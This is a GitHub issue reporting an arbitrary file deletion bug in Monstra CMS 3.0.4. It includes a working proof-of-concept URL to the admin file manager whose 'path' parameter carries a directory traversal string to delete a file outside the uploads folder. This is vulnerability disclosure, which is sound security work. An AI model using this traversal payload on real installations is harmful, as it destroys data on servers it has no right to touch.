search

monstra-cms / monstra

THIS PROJECT IS NOT SUPPORTED ANYMORE! Check FLEXTYPE.ORG
http://flextype.org
MIT License
396 stars 123 forks source link

any file delete #456

Open xiaohuihui1113 opened 6 years ago

xiaohuihui1113 commented 6 years ago

Vulnerable URL：http://127.0.0.1/monstra-3.0.4/admin/index.php?id=filesmanager&delete_file=1.txt&path=uploads/.......//./.......//./&token=7514f1bfccba396c26a9b80341db814ea505d80a

touch 1.txt in /var/www/html/monstra-3.0.4/

visit url：http://172.16.173.238/monstra-3.0.4/admin/index.php?id=filesmanager&delete_file=1.txt&path=uploads/.......//./.......//./&token=7514f1bfccba396c26a9b80341db814ea505d80a

the 1.txt will delete

image